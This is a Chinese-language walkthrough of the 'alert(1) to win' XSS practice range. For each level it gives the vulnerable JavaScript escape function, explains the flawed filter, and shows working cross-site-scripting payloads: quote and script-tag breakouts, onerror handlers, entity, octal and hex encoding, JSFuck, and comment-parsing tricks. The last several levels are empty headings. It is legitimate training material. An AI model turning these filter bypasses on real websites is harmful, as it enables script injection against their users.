XSS靶场练习一

前言

靶场地址:alert(1) to win

Warmup

源码

1
2
3
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}

分析

代码将输入直接拼接到了返回的字符串中,没有任何过滤,直接闭合console.log("即可。

payload

1
2
3
4
13个字符
");alert(1)//
12个字符
");alert(1,"

Adobe

源码

1
2
3
4
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

分析

replace

代码将输入的双引号加了一个\进行了转义,这样我们就不能像第一题那样闭合console.log了,但是没啥影响,有两种方法:

  • 闭合之前的<script>,然后再写一个<script>
  • 使用\来转义对"进行转义的\,从而绕过对"的过滤

payload

1
2
3
4
方法一
</script><script>alert(1)//
方法二
\");alert(1)//

JSON

源码

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

分析

JSON.stringify

代码将输入使用JSON.stringify进行了处理,与第二题的方法一思路相同。

payload

1
</script><script>alert(1)//

Markdown

源码

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

分析

代码进行了三步操作

  1. 第一步,将<"转成了HTML实体
  2. 第二步,如果存在http://的字符串, 会可以生成一个a标签
  3. 第三步,解析Markdown的图片的语法,如果存在[[img123|Description]]格式的字符串,则变为``。

开头对"<进行了编码操作,所以不能直接传入"来闭合,当前思路就是构造一个字符串,使其满足后两个正则,从而引入a标签中的",从而闭合img标签的alt属性。

payload

1
[[a|http://onerror=alert(1)//]]

DOM

源码

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create' + m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

分析

代码实现了一个根据输入来创建的DOM节点的功能。
如果输入是TextNode#foo,那么执行的代码就是document.createTextNode("foo")

常用命令

1
2
3
4
createElement() 创建一个元素节点
createTextNode() 创建一个文本节点
createAttribute() 创建一个属性节点
createComment() 创建一个注释节点

经过尝试,通过createComment()创建一个注释节点,然后闭合注释可以达到代码执行的目的。

payload

1
2
3
4
34个字符
Comment#><script>alert(1)</script>
32个字符
Comment#><iframe onload=alert(1)

Callback

源码

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

分析

代码首先将输入的字符串按照#分割为两部分,第一部分是回调函数,只能使用大小写字母、[]',第二部分是JSON数据。
而且后面又将JSON数据中的尖括号转义成了\\u003c
最终的目的依旧是执行JS代码,thing[0]部分不一定是一个函数,只要满足要求就OK。
既然回调函数名部分和后面的值都没有过滤单引号,可以在前后放两个单引号,从而闭合它们之间的值。再加个分号作为分割,后面就好操作了。

payload

1
'#';alert(1)//

Skandia

源码

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

分析

闭合<script>标签,但是方法alert(1),被转换成大写了,无法执行,尝试编码绕过。

payload

1
</script><img src onerror=&#97&#108&#101&#114&#116(1)>

Template

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '<', '>': '>', '&': '&', '"': '"', "'": ''' }[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

分析

代码对输入的<>&"'、进行了转义,输入的字符串会拼接在{name}处。
由于没有过滤\,可以利用JS的8进制或者16进制编码来绕过。

payload

1
2
3
4
32个字符
\x3cimg src onerror=alert(1)\x3e
26个字符
\x3cstyle/onload=alert(1) //末尾有一个空格

JSON 2

源码

1
2
3
4
5
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

分析

</script标签进行了过滤,由于正则中存在i修饰符,不区分大小写,不能使用大小写混合来绕过。

由于直接将字符串替换为空,可以双写绕过。

payload

1
</s</scriptcript><script>alert(1)//

Callback 2

源码

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

分析

与第6题的类似,但是转义了/,导致//这个注释符无法使用,但是JavaScript的注释符有三种,分别是///**/<!--
可以使用来注释。

payload

1
'#';alert(1)<!--

Skandia 2

源码

1
2
3
4
5
function escape(s) {
if (/[<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

分析

代码过滤了<>。还将所有输入的字母变成了大写,不能借助toUpperCase()的特性来解了。
可以利用jsfuck。直接将");alert(1)//中的alert(1)jsfuck表示。

JSfuck

但是直接使用工具生成的jsfuck太长了,不过我们还有另一种方法,就是JS的匿名函数。

我们可以通过这种方法来执行任意方法。

1
[]['map']['constructor']('alert(1)')()

由于对字母进行了大写转换,我们可以将其进行8进制编码,然后闭合前面,注释后面。

1
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

payload

1
2
3
4
方法一
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//
方法二
");[]['\155\141\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()//

iframe

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function escape(s) {
var tag = document.createElement('iframe');

// For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// https://4i.am/?...raw=... just outputs whatever you pass in.
//
// Alerting from 4i.am won't count.

s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

window.WINNING = function() { youWon = true; };

tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}

分析

只要使youWontrue,这样就能执行alert(1)了。
解决思路是利用到iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。

payload

1
name="youWon"

TI(S)M

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); }

return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}

分析

本题用到了一个小trick:
HTML5解析器会将<!--<script></script>之间的任何东西都当作JavaScript代码处理,同时要确保代码中还有一个-->来防止解析器报语法错误。

首先输入一个<!--<script>,此时的输出中

1
2
3
4
5
6
7
8
9
10
<script>var url = "<!--<script>"; // We'll use this later </script>

<!-- for debugging -->
URL: &#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

这一段所有的代码都会当做JS执行。
在后面有个正则表达式!/^http:.*/,其中的*/可以当做注释,那么我们在前面再加入一个/*即可闭合。
此时的输出为

1
2
3
4
5
6
7
8
9
10
<script>var url = "\/*<!--<script>"; // We'll use this later </script>

<!-- for debugging -->
URL: /*&#60;!--&#60;script&#62;

<!-- then suddenly -->
<script>
if (!/^http:.*/.test(url)) console.log("Bad url: " + url);
else new Image().src = url;
</script>

在注释符之前添加要执行的代码就可以了。

payload

1
if(alert(1)/*<!--<script>

JSON 3

源码

1
2
3
4
5
6
7
8
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log(' + json + ')</script>';
}).join('');
}

分析

题目思路与上一个题类似,借助<!--<script>来执行JS代码,不过因为后面没有-->,解析器会报错,需要我们在后面构造一个-->来避免报错。

构造的Payload为``,此时输出为

1
<script>console.log("<!--<script>")</script><script>console.log(")/;alert(1)//-->")</script>

其中/script>console.log(")/被当做了正则表达式解析,后面通过分号分割后,成功执行代码alert(1)

payload

1
<!--<script>#)/;alert(1)//-->

Skandia 3

源码

1
2
3
4
5
function escape(s) {
if (/[\\<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

分析

payload

RFC4627

源码

分析

payload

Well

源码

分析

payload

No

源码

分析

payload

K’Z’K

源码

分析

payload

最后